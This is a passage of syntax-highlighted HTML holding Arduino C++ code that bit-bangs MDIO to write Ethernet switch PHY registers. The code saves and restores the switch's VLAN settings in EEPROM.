inBit<span style="color: green;">(</span><span style="color: green;">)</span><span style="color: teal;">;</span><span style="color: #666666;">//IDLE</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
pinMode<span style="color: green;">(</span>MDIO,OUTPUT<span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
pinMode<span style="color: green;">(</span>MDC,HIGH<span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
outBit<span style="color: green;">(</span><span style="color: #0000dd;">0</span><span style="color: green;">)</span><span style="color: teal;">;</span><span style="color: #666666;">//START</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
outBit<span style="color: green;">(</span><span style="color: #0000dd;">1</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
outBit<span style="color: green;">(</span><span style="color: #0000dd;">0</span><span style="color: green;">)</span><span style="color: teal;">;</span><span style="color: #666666;">//WRITE</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
outBit<span style="color: green;">(</span><span style="color: #0000dd;">1</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
</div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">for</span> <span style="color: green;">(</span> k <span style="color: navy;">=</span> <span style="color: #0000dd;">4</span><span style="color: teal;">;</span> k <span style="color: navy;">>=</span> <span style="color: #0000dd;">0</span><span style="color: teal;">;</span> k<span style="color: #000040;">--</span> <span style="color: green;">)</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
outBit<span style="color: green;">(</span><span style="color: green;">(</span>phyaddr <span style="color: navy;">>></span> k<span style="color: green;">)</span> <span style="color: #000040;">&</span> <span style="color: #208080;">0x1</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">for</span> <span style="color: green;">(</span> k <span style="color: navy;">=</span> <span style="color: #0000dd;">4</span><span style="color: teal;">;</span> k <span style="color: navy;">>=</span> <span style="color: #0000dd;">0</span><span style="color: teal;">;</span> k<span style="color: #000040;">--</span> <span style="color: green;">)</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
outBit<span style="color: green;">(</span><span style="color: green;">(</span>regaddr <span style="color: navy;">>></span> k<span style="color: green;">)</span> <span style="color: #000040;">&</span> <span style="color: #208080;">0x1</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
outBit<span style="color: green;">(</span><span style="color: #0000dd;">1</span><span style="color: green;">)</span><span style="color: teal;">;</span> <span style="color: #666666;">//TA</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
outBit<span style="color: green;">(</span><span style="color: #0000dd;">0</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
</div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">for</span> <span style="color: green;">(</span> k <span style="color: navy;">=</span> <span style="color: #0000dd;">15</span><span style="color: teal;">;</span> k <span style="color: navy;">>=</span> <span style="color: #0000dd;">0</span><span style="color: teal;">;</span> k<span style="color: #000040;">--</span> <span style="color: green;">)</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
outBit<span style="color: green;">(</span><span style="color: green;">(</span>value <span style="color: navy;">>></span> k<span style="color: green;">)</span> <span style="color: #000040;">&</span> <span style="color: #208080;">0x1</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
</div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
pinMode<span style="color: green;">(</span>MDIO,INPUT<span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
digitalWrite<span style="color: green;">(</span>MDIO,HIGH<span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
inBit<span style="color: green;">(</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
inBit<span style="color: green;">(</span><span style="color: green;">)</span><span style="color: teal;">;</span><span style="color: #666666;">//IDLE</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
</div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
</div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">}</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">void</span> saveReg<span style="color: green;">(</span><span style="color: blue;">unsigned</span> <span style="color: blue;">int</span> eebase, <span style="color: blue;">unsigned</span> <span style="color: blue;">int</span> phy , <span style="color: blue;">unsigned</span> <span style="color: blue;">int</span> reg<span style="color: green;">)</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">{</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">unsigned</span> <span style="color: blue;">int</span> regval <span style="color: navy;">=</span> readReg<span style="color: green;">(</span>phy,reg<span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
EEPROM.<span style="color: #007788;">write</span><span style="color: green;">(</span>eebase,regval<span style="color: #000040;">&</span><span style="color: #208080;">0xff</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
EEPROM.<span style="color: #007788;">write</span><span style="color: green;">(</span>eebase<span style="color: #000040;">+</span><span style="color: #0000dd;">1</span>,regval<span style="color: navy;">>></span><span style="color: #0000dd;">8</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">}</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">void</span> loadReg<span style="color: green;">(</span><span style="color: blue;">unsigned</span> <span style="color: blue;">int</span> eebase, <span style="color: blue;">unsigned</span> <span style="color: blue;">int</span> phy , <span style="color: blue;">unsigned</span> <span style="color: blue;">int</span> reg<span style="color: green;">)</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">{</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">unsigned</span> <span style="color: blue;">int</span> regval <span style="color: navy;">=</span> <span style="color: #0000dd;">0</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
regval <span style="color: #000040;">|</span><span style="color: navy;">=</span> EEPROM.<span style="color: #007788;">read</span><span style="color: green;">(</span>eebase<span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
regval <span style="color: #000040;">|</span><span style="color: navy;">=</span> EEPROM.<span style="color: #007788;">read</span><span style="color: green;">(</span>eebase<span style="color: #000040;">+</span><span style="color: #0000dd;">1</span><span style="color: green;">)</span> <span style="color: navy;"><<</span> <span style="color: #0000dd;">8</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
writeReg<span style="color: green;">(</span>phy,reg,regval<span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">}</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">void</span> saveSettings<span style="color: green;">(</span><span style="color: green;">)</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">{</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">int</span> i<span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
saveReg<span style="color: green;">(</span><span style="color: #0000dd;">2</span>,<span style="color: #0000dd;">30</span>,<span style="color: #0000dd;">13</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">for</span> <span style="color: green;">(</span> i <span style="color: navy;">=</span> <span style="color: #0000dd;">0</span><span style="color: teal;">;</span> i <span style="color: navy;"><</span> <span style="color: #0000dd;">8</span><span style="color: teal;">;</span> i<span style="color: #000040;">++</span> <span style="color: green;">)</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">{</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
saveReg<span style="color: green;">(</span><span style="color: #0000dd;">4</span><span style="color: #000040;">+</span>i<span style="color: #000040;">*</span><span style="color: #0000dd;">2</span>,<span style="color: #0000dd;">30</span>,<span style="color: #0000dd;">3</span><span style="color: #000040;">+</span>i<span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">}</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
</div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
saveReg<span style="color: green;">(</span><span style="color: #0000dd;">20</span>,<span style="color: #0000dd;">30</span>,<span style="color: #0000dd;">12</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
</div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
</div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">for</span> <span style="color: green;">(</span> i <span style="color: navy;">=</span> <span style="color: #0000dd;">0</span><span style="color: teal;">;</span> i <span style="color: navy;"><</span> <span style="color: #0000dd;">16</span><span style="color: teal;">;</span> i<span style="color: #000040;">++</span> <span style="color: green;">)</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">{</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
saveReg<span style="color: green;">(</span><span style="color: #0000dd;">22</span><span style="color: #000040;">+</span>i<span style="color: #000040;">*</span><span style="color: #0000dd;">2</span>,<span style="color: #0000dd;">30</span>,<span style="color: #0000dd;">14</span><span style="color: #000040;">+</span>i<span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">}</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
</div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
EEPROM.<span style="color: #007788;">write</span><span style="color: green;">(</span><span style="color: #0000dd;">0</span>,<span style="color: #208080;">0x54</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
EEPROM.<span style="color: #007788;">write</span><span style="color: green;">(</span><span style="color: #0000dd;">1</span>,<span style="color: #208080;">0x78</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">}</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">void</span> loadApplySettings<span style="color: green;">(</span><span style="color: green;">)</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">{</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">int</span> i<span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">if</span> <span style="color: green;">(</span> EEPROM.<span style="color: #007788;">read</span><span style="color: green;">(</span><span style="color: #0000dd;">0</span><span style="color: green;">)</span> <span style="color: #000040;">!</span><span style="color: navy;">=</span> <span style="color: #208080;">0x54</span> <span style="color: #000040;">||</span> EEPROM.<span style="color: #007788;">read</span><span style="color: green;">(</span><span style="color: #0000dd;">1</span><span style="color: green;">)</span> <span style="color: #000040;">!</span><span style="color: navy;">=</span> <span style="color: #208080;">0x78</span> <span style="color: green;">)</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">{</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
Serial.<span style="color: #007788;">println</span><span style="color: green;">(</span><span style="color: red;">"Invalid settings found, loading defaults"</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
writeReg<span style="color: green;">(</span><span style="color: #0000dd;">30</span>,<span style="color: #0000dd;">13</span>,PHY30_REG13_VLAN_EN<span style="color: green;">)</span><span style="color: teal;">;</span> <span style="color: #666666;">//Enable vlan</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
</div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">for</span> <span style="color: green;">(</span> i <span style="color: navy;">=</span> <span style="color: #0000dd;">3</span><span style="color: teal;">;</span> i <span style="color: navy;"><</span> <span style="color: #0000dd;">11</span><span style="color: teal;">;</span> i<span style="color: #000040;">++</span> <span style="color: green;">)</span><span style="color: #666666;">//All untagged packets from ports will have VID 1 by default</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">{</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
writeReg<span style="color: green;">(</span><span style="color: #0000dd;">30</span>,i,<span style="color: #0000dd;">0</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">}</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
</div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
writeReg<span style="color: green;">(</span><span style="color: #0000dd;">30</span>,<span style="color: #0000dd;">12</span>,<span style="color: #0000dd;">0</span><span style="color: green;">)</span><span style="color: teal;">;</span> <span style="color: #666666;">//No port has tagged traffic by default</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
</div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
writeReg<span style="color: green;">(</span><span style="color: #0000dd;">30</span>,<span style="color: #0000dd;">14</span>,<span style="color: #208080;">0x1ff</span><span style="color: green;">)</span><span style="color: teal;">;</span> <span style="color: #666666;">//All ports are member of VID0 (Untagged)</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">for</span> <span style="color: green;">(</span> i <span style="color: navy;">=</span> <span style="color: #0000dd;">15</span><span style="color: teal;">;</span> i <span style="color: navy;"><</span> <span style="color: #0000dd;">30</span><span style="color: teal;">;</span> i<span style="color: #000040;">++</span> <span style="color: green;">)</span><span style="color: #666666;">//A</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">{</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
writeReg<span style="color: green;">(</span><span style="color: #0000dd;">30</span>,i,<span style="color: #0000dd;">0</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
</div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">}</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
</div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
</div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
saveSettings<span style="color: green;">(</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
</div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">}</span><span style="color: blue;">else</span><span style="color: green;">{</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
</div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">int</span> i<span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
loadReg<span style="color: green;">(</span><span style="color: #0000dd;">2</span>,<span style="color: #0000dd;">30</span>,<span style="color: #0000dd;">13</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">for</span> <span style="color: green;">(</span> i <span style="color: navy;">=</span> <span style="color: #0000dd;">0</span><span style="color: teal;">;</span> i <span style="color: navy;"><</span> <span style="color: #0000dd;">8</span><span style="color: teal;">;</span> i<span style="color: #000040;">++</span> <span style="color: green;">)</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">{</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
